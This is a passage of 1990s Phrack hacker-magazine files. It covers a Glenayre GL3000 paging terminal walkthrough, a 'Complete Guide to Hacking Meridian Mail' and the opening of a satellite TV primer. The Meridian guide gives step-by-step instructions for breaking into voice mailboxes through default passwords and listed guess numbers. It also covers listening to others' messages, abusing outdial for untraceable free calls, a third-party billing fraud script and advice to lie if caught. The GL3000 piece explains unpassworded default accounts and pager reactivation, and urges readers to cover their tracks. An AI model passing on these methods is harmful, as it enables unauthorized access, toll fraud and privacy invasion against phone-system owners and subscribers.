AT&T/Knights Inn CS [800] 462‑1818 ‑ Customer Service WorldCall 2000 CS [800] 576‑8522 ‑ Customer Service Transcard CS [800] 772‑7293 ‑ Customer Service Sprint Instant Foncard [800] 366‑0707 ‑ Customer Service

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ThE EnD

For More Information Contact The Author Over The Internet At :

: treason@fpg.gcomm.com :

Leave, Suggestions, Ideas, More Information and Collective Criticism

"We Are The Damned Of All The World..."

‑ Megadeth

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

................

. ‑ by ‑ .

. Treason [518] .

. [PAiN] .

................

./\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/

.‑‑=]] NoDE 1 Call Another Way Of Life BBS 518.383.1369 NoDE 1 [[=‑‑.

.\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

./\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/

.‑‑=]] NoDE 2 Call Another Way Of Life BBS 518.383.o268 NoDE 2 [[=‑‑.

The Glenayre GL3000 Paging and Voice Retrieval System

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 14 of 22

The Glenayre GL3000 Paging and Voice Retrieval System

by armitage

(armitage@dhp.com)

Welcome

‑‑‑‑‑‑

I am glad you decided to read this article. This article will explain the basis of what this system is, show many features, and guide you through a few basic operations (pager reactivation, and meet‑me setup). This system is one of many different paging systems, but I have found many scattered through the nation, so if you are wondering what you can do with all those carriers found while scanning, compare them to the login screen shown later in the article.

Summary

‑‑‑‑‑‑

The Glenayre GL3000 paging and voice retrieval system is a fully featured digital radio paging terminal which also provides integrated voice mailbox facilities.

I'm sure this is not important, but so you know, the gl3000 family comes in 5 different respective sizes (es, s, m, l, and xl). All of the systems have same features except the only thing that differs is their bandwidth, and their capabilities.

Analog and digital paging formats are supported, it provides for tone only, voice, numeric, and alphanumeric paging.

Features

‑‑‑‑‑‑

Voice Mail Box Features

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The voice mail box feature of the system complements the pager router system very nicely. This voice mail system is just like any other, so I won't go into detail over it.

Programming

Mailbox access code

Main menu : 1

Subscriber Information Menu : 1

Search for subscribers to edit/create

Meetme access code

Supervisors Main Menu : 5

System Setup Menu : 3

Trunk Setup Menu : 11

Meet‑me parameters

Audio Billboard

Supervisors Main Menu : 5

System Setup Menu : 9

Voice Storage and Mailbox Setup Menu : 2

Voice Mailbox Setup parameters

Pager Alert

Supervisors Main Menu : 5

System Setup Menu : 3

Trunk Setup Menu : 10

Caller Notification Message Setup

Voice Main Menu Hierarchy

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Supervisor's Main Menu

1 < Subscriber Information Menu

1 < Edit/Create Subscribers

2 < Delete A Subscriber

3 < Report Subscriber Information

4 < Report Extended Group Members

5 < Report Unused Customer Numbers

6 < Report Initialized Centirecords

7 < Stop Current Report in Progress

8 < Send Test Page

9 < Block Change Subscribers

10 < Delete Several Subscribers

11 < Clear Subscriber Call Statistics

12 < Report Pager Type Summary

13 < Block Create Subscribers

2 < User Number Information

3 < System Activity Monitoring and Logging Menu

1 < Trunk Status & Activity Monitor

2 < UOE Status & Activity Monitor

3 < Buffer Memory Status & Activity Monitor

4 < Transmit Queue Status Activity Monitor

5 < Voice Storage Usage Activity Monitor

6 < Voice Storage Report Setup

7 < Voice Storage File Activity Monitor

8 < Activity Logging Setup

9 < Activity Logging Monitor

10 < Subscriber Database Information

11 < System CPU Activity Monitor

12 < Memory Pool Status Monitor

13 < RTC Status & Activity Monitor

14 < RTC Diagnostic Console

4 < System Maintenance Menu

1 < Save Database and System Setup Parameters to floppy

2 < Add Customer Numbers

3 < Remove Customer Numbers

4 < Change Customer Numbers

5 < System Setup Menu

1 < System Parameters

2 < Subscriber Setup Menu

1 < Subscriber Default Parameters

2 < Subscriber Reports Default Parameters

3 < Trunk Setup Menu

1 < Individual Trunk Parameters

2 < Trunk Group Parameters

3 < Trunk Card Parameters

4 < Common Trunk Parameters

5 < Common Trunk Statistics

6 < Common Trunk End of Call Parameters

7 < Roaming Caller Location Code Setup

8 < Digital Trunk Card Alarm Parameters

9 < Digital Trunk Address Signalling Protocol

10 < Caller Notification Message Setup

11 < Meet‑me Parameters

4 < Buffer Memory Setup Menu

1 < Individual Buffer Memory Parameters

2 < Common Buffer Memory Parameters

5 < Universal Output Encoder (UOE) Setup Menu

1 < Individual UOE Parameters

2 < Common UOE Parameters

3 < UOE Test

6 < Transmitter Controller Setup Menu

1 < Individual Transmitter Controller Parameters

2 < Common Transmitter Controller Parameters

7 < Page Routing Setup Menu

1 < Logical Area Parameters

2 < Coverage Region Parameters

8 < Printer and Serial Port Setup Menu

1 < Serial Port Configuration Parameters

2 < Printer Message Parameters

9 < Voice Storage and Mailbox Setup Menu

1 < Voice Storage Setup Parameters

2 < Voice Mailbox Setup Parameters

3 < Voice Mailbox Retrieval Mode Key Translation Map 4 < Language Syntax Configuration

10 < Pager Parameter Setup Menu

1 < PUP/Repeat Page Options

2 < PUP/Repeat Page Function Code Setup

3 < Voice To Alpha Transcription Setup

4 < Numeric/Voice Function Code Setup

11 < RTC Port Configuration Parameters

6 < Remote Sign‑on

7 < Network Menu

1 < Operator Services Menu

1 < Netmail Transmission

2 < Netmail Configuration

2 < Network Setup Menu

1 < Common Network Parameters

2 < Network Port Configuration Parameters

3 < Network Node Configuration Parameters

4 < Frequency Code to Coverage Region Map

3 < Network Activity Menu

1 < Port Status and Activity Monitor

2 < Node Status and Output Queue Activity Monitor

8 < Traffic Statistics Menu

1 < Statistics Parameters

2 < Report Statistics

9 < Superhex Patch Screen

Operations

‑‑‑‑‑‑‑‑‑‑

*** Quick Reference Key Usage***

<DEL> ‑ Deletes character to the left

<CTRL‑R> ‑ Re‑draws Screen

UP ‑ Moves pointer up

DOWN ‑ Moves pointer down

System Menus and Options ‑ Navigating the System

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

***Changing Subscriber Info***

Screen Shot Below

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

GLENAYRE GL3000 PAGING TERMINAL Version 3.06

1. User Number:________

2. Password:

Optional Feature Status Agency: ON Networking: ON RTC: ON Meet‑me: ON

Software Creation Date: MMM DD/YY HH:MM:SS

Command:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Logging in is the first step, as you can see you are prompted for a user number and password. The Default for every account is unpassworded, the password does not echo on the screen.

Please Note that the menu options are configured by the access level of your account, (for example, an administrators account will have more options than a base operators account). The Menus displayed in this article account that a supervisors account is being used.

Screen Shot Below

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

GLENAYRE GL3000 PAGING TERMINAL Version 3.06

1. Subscriber Information Menu

2. User Number Information

3. System Activity Monitoring and Logging Menu

4. System Maintenance Menu

5. System Setup Menu

6. Remote Signon

7. Network Menu

8. Statistics Menu

9. SUPERHEX Patch Screen

Currently Signed On: User 1 System Supervisor

Command:_________

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is the Main menu of the system. On a normal operators account, not all of the options will be available.

*** To Add (Reactivate a pager) ***

You want to is Add or "Create" a subscriber. Go to menu 1 (Subscriber Information Menu).

Screen Shot Below

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SUBSCRIBER INFORMATION MENU

1. Edit/Create Subscribers

2. Delete a Subscriber

3. Report Subscriber Information

4. Report Extended Group Members

5. Report Unused Customer Numbers

6. Report Initialized Centi records

7. Stop Current Report in Progress

8. Send Test Page

9. Block Change Subscribers

10. Delete Several Subscribers

11. Clear Subscriber Call Statistics

12. Report Pager Type Summary

13. Block Create Subscribers

Command:____________

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now you need to go into option 1 again, to Create a new subscriber.

Screen Shot Below

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Record 1 of 900 SEARCH FOR SUBSCRIBER TO EDIT/CREATE Page 1 of 2

1. Customer Number: _____ 17. Language Choice:

2. Partition: 18. Answer Type:

3. Agency Number: 19. Custom Answer:

4. Encoding Format: 20. PUP/Repeat Option: 5. Service Type: 21. Group PUP Option: 6. Capcode: 22. Repeat Voice:

23. Mailbox Type:

24. Purge Time (Hrs):

7. A‑Tone Length: 25. Maximum Messages: 8. B‑Tone Length: 26. Voice Time:

9. Account Number: 27. Activate Caller Pwd: 10. Account Status: 28. Access/Caller Pwd: 11. Account Code: 29. Autoretrieval:

12. Valid: 30. Meet‑me:

13. Customer Absent: 31. Secondary Number: 14. Coverage Region:

15. Priority:

34. Extended Group:

35. Sort Field #1: 37. Sort Field #2:

36. Sort Order #1: 38. Sort Order #2:

Command:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It is important at this point, not to enter information into any field other than field number 1, as after you enter the customer number, you enter the other information later.

If you are entering a new subscriber, you want to enter a customer number that is not being used. There will be a record number in the top left to show you which records are being used. In this example we will use number 1. So enter the new number and then <RETURN>. The type CREATE <RETURN> into the command line.

Screen Shot Below

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Record 1 of 900 SEARCH FOR SUBSCRIBER TO EDIT/CREATE Page 1 of 2

1. Customer Number: 1____ 17. Language Choice: ENGLISH 2. Partition: A 18. Answer Type: SYS 216 3. Agency Number: 0 19. Custom Answer: YES 4. Encoding Format: TWOTONE 20. PUP/Repeat Option: NO 5. Service Type: VOICE 21. Group PUP Option: NONE 6. Capcode: 000001F1 22. Repeat Voice: 3 A=0 B=0 23. Mailbox Type: VOICE

24. Purge Time (Hrs): NO PURGE

7. A‑Tone Length: 8 25. Maximum Messages: 10 8. B‑Tone Length: 16 26. Voice Time: 8 9. Account Number: 4 27. Activate Caller Pwd: YES 10. Account Status: 3 28. Access/Caller Pwd: ####/#### 11. Account Code: 7 29. Autoretrieval: NO 12. Valid: YES 30. Meet‑me: NO 13. Customer Absent: NO 31. Secondary Number: 14. Coverage Region: 1

15. Priority: 5

34. Extended Group: NO

35. Sort Field #1: 37. Sort Field #2:

36. Sort Order #1: 38. Sort Order #2:

Command:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The values that are filled into this screen are the defaults that were set by the supervisor. Provided you have all the technical information on the inactive pager you have, you will transcribe the pager's technical information into this record.

List of fields

Field 1 ‑ Customer Number

Customer number, you may not use wild cards.

Field 2 ‑ Partition

Any Partition Letter may be used. ['A'..'Z'] or a NOT sign followed by a partition letter.

Field 3 ‑ Agency Number

You may use any search conditions except wild cards. Field 4 ‑ Encoding Format

Any encoding format name, or a not sign followed by an encoding format.

Field 5 ‑ Service Type

You may use any service name, or a not sign w/service type name. Service Names

VOICE

TONE‑ONLY

NUMERIC

ALPHANUMERIC

NUMERIC/VOICE

MAILBOX ONLY

ROAMER

0 TONE ONLY

GREETING

ALPHAMAIL

TAS

MEET‑ME

AUTORETRIEVAL

Field 6 ‑ Capcode

You may use wild card characters to replace digits. Field 7,8 ‑ A,B‑Tone Length

You can use any search but the wild card search.

Field 9 ‑ Account Number

You can use any search but the wild card search.

Field 10 ‑ Account Status

You can use any search but the wild card search.

Field 11 ‑ Account Code

You can use any search but the wild card search.

Field 12 ‑ Valid

YES or NO (valid/invalid account number)

Field 13 ‑ Customer Absent

YES or NO (absent customer or not)

Field 14 ‑ Coverage Region

You can use any search but the wild card search.

Field 15 ‑ Priority

You can use any search but the wild card search.

Field 16 ‑ Trace Calls

YES or NO

Field 17 ‑ Language Choice

Simply enter a language of choice.

Field 18 ‑ Answer Type

Use any search.

Field 19 ‑ Customer Answer

YES, NO, INSERT, or APPEND

Field 20 ‑ PUP/Repeat Option

Field 21 ‑ Group PUP Option

Field 22 ‑ Repeat Mailbox

You can use any search but the wild card search.

Field 23 ‑ Mailbox Type

You can enter:

NO MAILBOX

VOICE

NUMERIC

BOTH

Field 24 ‑ Purge Time (Hrs)

You can use any search.

Field 25 ‑ Maximum Messages

You can use any search but the wild card search.

Field 26 ‑ Voice Time

You can use any search but the wild card search.

Field 27 ‑ Activate Caller Password

YES or NO

Field 28 ‑ Access/Caller Password

Field 29 ‑ Autoretrieval

YES or NO

Field 30 ‑ Meet‑me

YES or NO to have this subscriber given access to meet‑me features. Field 31 ‑ Secondary Number

You can use any search but the wild card search.

Field 34 ‑ Extended Group

YES or NO

Now we will move on to the second page of the Section

Screen Shot Below

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Record 1 of 900 SEARCH FOR SUBSCRIBER TO EDIT/CREATE Page 2 of 2

Extended Group Members

81. Customer Number: 41. System Recording: 82. Customer Number: 42. Empty Data Pages: 83. Customer Number: 43. Primary Numbers: 84. Customer Number:

85. Customer Number:

86. Customer Number:

87. Customer Number:

88. Customer Number:

89. Customer Number:

90. Customer Number: Statistical Fields:

91. Customer Number: 51. Number of Calls

92. Customer Number: 52. Mailbox Storage

93. Customer Number: 53. Character Count: 94. Customer Number: 54. Meet‑me Time (mins): 95. Customer Number: 55. Date Created:

96. Customer Number: 56. Date Altered:

Command:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This page has little significance besides if you are using extended group members. The one thing that is important is field 56. Look out.

***Setting up a Meet‑me and its settings***

Screen Shot Below

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

GLENAYRE GL3000 PAGING TERMINAL Version 3.06

1. Subscriber Information Menu

2. User Number Information

3. System Activity Monitoring and Logging Menu

4. System Maintenance Menu

5. System Setup Menu

6. Remote Signon

7. Network Menu

8. Statistics Menu

9. SUPERHEX Patch Screen

Currently Signed On: User 1 System Supervisor

Command:_________

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

First you want to go into choice "5", The System Setup Menu.

Screen Shot Below

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SYSTEM SETUP MENU

1. System Parameters

2. Subscriber Setup Menu

3. Trunk Setup Menu

4. Buffer Memory Setup Menu

5. Universal Output Encoder (UOE) Setup Menu

6. Transmitter Controller Setup Menu

7. Page Routing Setup Menu

8. Printer and Port Setup Menu

9. Voice Storage and Mailbox Setup Menu

10. Page Parameter Setup Menu

11. RTC Port Configuration Parameters

Command:_________

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

>From this menu you want to go to the trunk setup menu which is choice "3".

Screen Shot Below

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TRUNK SETUP MENU

1. Individual Trunk Parameters

2. Trunk Group Parameters

3. Trunk Card Parameters

4. Common Trunk Parameters

5. Common Trunk Statistics

6. Common Trunk End Of Call Parameters

7. Roaming Caller Location Code Setup

8. Digital Trunk Card Alarm Parameters

9. Digital Trunk Address Signalling Protocol

10. Caller Notification Message Setup

11. Meet‑me Parameters

Command:_________

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

>From this menu you want to select "11. Meet‑me Parameters".

Screen Shot Below

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MEET‑ME PARAMETERS

1. Length of Time to Play Initial Ring(s):

2. Wait Time Before Sending Meet‑Me Page(s):

3. Meet‑Me Help Message Interval(s):

4. Maximum Number of Meet‑Me Help Message(s):

5. Tone Played While Waiting for Meet‑Me:

6. Disable Disconnect Digital During Connection:

7. Meet‑Me Maximum Hold Time (min):

8. Maximum Simultaneous Meet‑Me connections:

9. Prompt for Access Code Before Meet‑Me:

Command:_________

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There is online help to guide you to conduct this meet‑me. So go with the system on this one.

Glossary of Terms

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I have listed some terms you might have trouble with while you are playing around with this system, this is nowhere near as many as there are, but the most vital are listed below.

Address ‑ 1. The telephone number dialed by a calling party which identifies the party called. 2. A location or destination in a computer program.

Bell 103 ‑ The North American standard for 300 bps modems.

Bell 212A ‑ The North American standard for 1200 bps modems. Blocking ‑ The process of grouping data into transmission blocks. The inability of a pabx to service connection requests, usually because its switching matrix can only handle a limited number of connections simultaneously. Blocking occurs if a call request from a user cannot be handled due to an insufficient number of paths through the switching matrix; blocking thus prevents free stations from communicating.

Borscht ‑ Acronym for the functions that must be performed in the Central office at the subscriber's analog interface of a digital system. (battery, overvoltage, ringing, supervision, coding, hybrid, and test)

Broadband ‑ A communication system with a large bandwidth.

Channel ‑ Electronic communications path, usually of 4,000 Hz (voice) bandwidth.

Crossbar ‑ A type of telephone switch.

Crossbar Switch ‑ (In PABX technology) a switch that has multiple vertical paths, multiple horizontal paths, and electromagnetically operated mechanical means for connecting any vertical path with any horizontal path. Modern PABXs often use an electronic version of the crossbar switch.

Data ‑ In phone systems: any information other than speech or tones. Data Set ‑ The telephone companies term for a modem.

Decoder ‑ A device that converts information into another form of signals. (A DTMF decoder converts dtmf tones to numerical dtmf values) Dial Long Line ‑ Special Service device which extends loop signalling distance.

Digital ‑ Variable as opposed to constant. Data characters are coded in discrete, separate pulses or signal levels. Contrast with Analog. Duplex ‑ Simultaneous two‑way independent transmissions in both directions. Echo ‑ A faint return of transmitted data.

ESS ‑ (Electronic Switching System): A telephone switching machine using electronics, often combined with electro‑mechanical crosspoints, and usually with a stored program computer as the control element. FCC ‑ (Federal Communications Commission): A government agency that monitors and regulates all use of the electromagnetic spectrum for communications.

Handshake, Handshaking ‑ A preliminary process that is part of a communications protocol that establishes a data connection. Interface ‑ The connection between two separate and distinct mechanical or computerized systems.

Interoffice Trunks ‑ Shared facilities connecting CO switches. Link ‑ A communications circuit.

Local CO ‑ Central office (end office) capable of switching calls between local subscriber circuits.

Local Loop ‑ The voice‑band channel connecting the subscriber to the central office.

Logging ‑ Recording data associated with a system.

Multiplexing ‑ The division of a transmission facility into two or more channels.

Network ‑ An interconnection of computer systems, terminals, or data communications facilities.

Parameters ‑ Variables designed for system uses.

Port ‑ A computer interface capable of attaching a communication protocol. PBX or PABX ‑ (Private <Automatic> Branch Exchange) A system providing switching in an office or building.

Voice PABX ‑ Voice only PABX for voice circuits.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I hope you could use this information. If anyone has any questions or comments, or is wondering if they can get manuals to this system somehow, please feel free to email me, I will assist you as much as my schedule will allow. I would like to thank erikb for telling me to write this, abstract thought for pointing out all my spelling errors among other things, panzer for everything he has done, and all the dc hackers.

Knowledge is the nemesis of all evil, Digital Anarchy!!!

Later, and remember to always cover your tracks in anything you do.

Armitage

armitage@dhp.com

Complete Guide to Hacking Meridian Voice Mail

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 15 of 22

Substance's Complete Guide To Hacking Meridian Mail Systems (VMB) [PART 1]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Feb 1st, 1995 ‑‑Made for Phrack

Introduction To Meridian Mail Box Systems

By Substance @ Another Way of Life [hpavc] 5183831369

NOTE1: In case you didn't know VMB stands for Voice Mail Box

NOTE2: This is the information that I have gathered from hacking Meridians, and is not guaranteed to be 100% accurate

NOTE3: Disclaimer : There is none, I did this article to encourage people to go and fuck around with Meridians, so sue me.

‑‑‑‑‑‑‑‑‑‑‑‑

Introduction

‑‑‑‑‑‑‑‑‑‑‑‑

Before we begin, Let's shed a little light on the subject of Meridian. This is one of my favorite VMB systems to hack, because:

Number 1 : There are many Meridian VMB Systems throughout the country, in ‑‑‑‑‑‑‑‑ 800 exchanges and numbers local to you. You can bet that there are at least 10 ‑ 15 different corporations using Meridian throughout your area code

Number 2 : (The Most Important by far.) Almost ALL Meridian mails ‑‑‑‑‑‑‑‑ use the Mail Box number as the default password. (Unless changed manually)

Number 3 : About 95 percent have outdialing features. Most don't have long ‑‑‑‑‑‑‑‑ distance access, but this can still be very useful for diverting calls, and getting free calls in that area code.

Ok, enough light shed on the matter. Let's get to identifying and hacking those fuckers!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Identifying Meridian VMB's

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Most Meridian VMBs just come right out and say exactly what they are. I'd say about 8 out of 10 will just come out, right after it answers and say:

"MERIDIAN MAIL"

<wait 1 second>

"MAILBOX?"

or just

"MAILBOX?" (it is ALWAYS a female computer [digitized] voice)

Half the time you will only hear "RIDIAN MAIL". (This must be caused by a timing bug in Meridian.) Once you hear that, write the # down, since it may be useful in the future for such things as 3rd party billing (more on that later), as a code line or just as a personal VMB. If you know for a fact (or a guess in that matter) that this is a Meridian mailbox but when you call it, it just says 'Leave a message' or has someone actually talking instructing you to leave a message, then you have reached what might be a direct VMB line. These are usually numbers people pay more money for, that will give them a direct 800 number instead of going through the "mailbox #" part.

These are the best, but probably the hardest to hack, because even though (according to a recent poll) about 70% of people are stupid enough to leave their mailbox number as their password, if you are serious and want to pay that much for a direct line, you are probably going to change the password. Even though I have seen many that do have the default, the odds are against it.

Ok back to the point. If you find a direct VMB, call all the numbers around it, because chances good are that you will find the system that just asks for a box number, very close. I would recommend about +50 numbers and ‑50 numbers and you'll find the root system. You will also find many other direct boxes in your quest.

NOTE: The ROOT SYSTEM is the number you call and simply hear 'MAILBOX' or 'MERiDiAN MAiL'

Another thing to remember is that you have to find out how many digits your mailbox #'s are going to be. The number of digits I've seen in my career differs from about 2 digits (rare) to 6 (also fairly rare). The most likely # of digits it will probably have is 4, or 5... Call your VMB and when it asks for mailbox #, hit '111#' (Note: You ALWAYS have to end a command on a Meridian mail system with an '#') if it says (with a quick response) 'INVALID box #' then try a 4 digit code. Sometimes (yeah, I know it sucks) you will have to fuck around for a while before you can tell how many digits, or even worse you may never know, and have to keep alternating #'s of digits, until you hit a valid box.

Hacking The Fuckers:

First off, think of what you are going to record as an outgoing message before you go and hack it. Decide if this should be a code line, or a personal VMB, or... Both? Here are the first default boxes you should try before dialing random ones:

111 222 333 444 555 666 777 888 999 000 100 200 300 400 500

600 700 800 900 123 234 345 456 567 678 789 890 901 121 212

etc. etc. etc.

If boxes are 4 digits, add a trailing number. If you don't know the length, mess around a while, you'll get one.

If you call someone's direct VMB and you hear a message like "You have reached So&So's VMB please leave a message, and I will return your call as soon as possible" there are a few ways to transfer to a different mailbox. Try simply hitting #, that might just hang up on you, unfortunately. Call back try hitting *. When you hear 'MAiLBOX' you just struck home. Try entering 123#.

Now, a few things can happen. Either:

1 It will transfer you to 123's mailbox

2 It will say invalid mailbox, or simply 'MAILBOX' again 3 It will say Password

When you hear 123's mailbox you can try and hack it by hitting *, and hope it will ask 'PASSWORD?' If it doesn't then you can't do much with this system except leave messages for that person (What Fun). If it does ask "PASSWORD?" then try the box # as the default password. (On your quest for a valid VMB you will find that MANY MANY people are total fucking morons and keep their password at the default) others will make it something easy to remember like 123# or 111# etc. etc. etc. If the password is not the Default then just write this number down in a notebook and move on.

If all else fails and you can't figure out how to get to the MAILBOX prompt you should call all the #s around the one you found to try and find the root system.

If you get in, (with the default or otherwise) it will probably say:

'MAILBOX EMPTY' or 'YOU HAVE n MESSAGES'

If you press 7* it will reply with:

Message option 0 (unknown at this time)

Reply 1 (used to reply to a previous message)

Play envelope 2 (unknown at this time)

Forward 3 (Forward your mail to another box)

Reply all 4 (Reply with a multi‑mail)

compose 5 (send multi‑mail)

delete 6 (used to delete mail [duh])

send 9 (sends single mail [must have mailbox number ready)

if you press 8* it will reply with:

Mailbox options 0 (Changes operator code (not useful)

login 1 (Gives you the option to transfer mailbox's) greeting 2 (Can change greeting (internal & external) logoff 3 (Kicks you off the system)

password change 4 (Changes VMB password [verifies 2x] distribution list 5 (Not useful)

goto 6 (Takes you back to 'MAILBOX EMPTY' Personal verification 9 (Lets you record a name for personal verify) to exit press # (logoff)

This is not all very useful, the most you can do with these commands is listen to people's mail (which can be fun), and/or take it over for your own code line or personal VMB. The whole point of hacking Meridians is the outdial function. Once you have successfully gotten into the VMB dial '0*' (Zero‑Star). It should say:

'YOU HAVE REACHED A SYSTEM THAT WILL CONNECT YOU TO THE NUMBER THAT YOU ENTER. PLEASE ENTER THE NUMBER OR THE NUMBER OR THE NAME OF THE PERSON YOU WISH TO REACH. PRESS 11 FOR A NAME, SPELL THE LAST NAME THEN THE FIRST NAME blah, blah, blah.'

This is the jackpot. With this you can call ANYWHERE (hopefully) for free, any time (unless the VMB has hours [...some do...]) To dial out, try this first:

just dial a local number (ex 432‑1342#)

>From there it may beep and say 'THAT # CANNOT BE REACHED' or it may connect you. If it connects you, great! You just found an untraceable way of hacking! Call back and try 1‑npa/xxx‑yyyy (if that works, then abuse the hell out of it as soon as possible, because it wont last for long :) ) If those two methods don't work try these.

9+1+npa/xxx‑yyyy (works most of the time) 8+1+npa/xxx‑yyyy (not probable) 0+1+npa/xxx‑yyyy (Possible) 9+xxx‑yyyy 8+xxx‑yyyy 0+xxx‑yyyy

If none of those work, then you're shit out of luck. Use it for a code line. If it did work, think of the possibilities, 900 numbers (for gaining access to boards), Tons of free LD, untraceable calls............

On to the last subject of part 1.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Another Way To Make Free Calls

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sorry, this only works on Direct VMB's, sometimes only the ones in your local exchange, its a long shot, but hell, its free. (But don't do this from your home phone, stupid.)

Change the outgoing message on the direct VMB to 'Operator, this number accepts all collect and 3rd party billings' Call up the operator and ask for AT&T, once they come on tell her you would like to make a 3rd party billing. Tell her the number you're billing to is the VMB #, then tell her the number you wish to call. She'll say, "wait," AND a few moments later she'll come back and say they accepted. Presto! You're in!

If you get busted, say you read a text file on how to do it, you didn't think it would work... (act innocent, alwayz worked for me :)

You can leave me comments, suggestions or threats at my VMB

(not a Meridian currently) *(800)775‑0728* (direct)...

‑substance

DBS Primer from American Hacker Magazine

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 16 of 22

[Editor's Note: This info and much more can be obtained from American Hacker Magazine, 3494 Delaware Ave., #123, Buffalo, NY 14217. 716‑874‑2088 (voice/fax) 716‑871‑1915 (bbs) snews@buffnet.net $29.95 for 12 issues, including BBS access. I you are into satellites, you might want to check this out!]

DBS Primer (c) Scrambling News (TM) 1995

Preface

This text lacks the photos and schematics which accompanied the article when it appeared in our newsletter. Constructive criticism, corrections, and suggestions for information which should be added are all welcome. We are snews@buffnet.net or 716.874.2088. As always we include information regarding gray and black market activity involving the RCA system. The big news is that we expect a pirate smartcard to become available soon. There is more information about that later in the second part of this article.

Brand names and trademarks are used herein for identification purposes only and are the property of their respective owners. Use of same within this document definitely does not imply agreement with or endorsement of the material presented. Information published by Scrambling News is intended for educational and entertainment purposes only and must not be used for any other purpose.

Introduction

We in the middle of an advertising blitz by RCA, DirecTV, USSB and Prime star announcing that the age of digitally delivered entertainment has arrived. Major newspapers, magazines and cable channels are saturated with commercials featuring the new RCA DSS 18 inch satellite dishes and all media have done their job to promote the new systems.

It is true that we are in the middle of a revolution. Other small dish satellite systems are in the development stage, the telco's are getting into the cable business, cable is testing interactive services, and C/Ku‑band satellite TV has been around since the late '70s but it too, is in transition. In this article we will focus on some aspects of the new DirecTV 18 inch dish system. We covered the Videocrypt encryption system in a previous article.

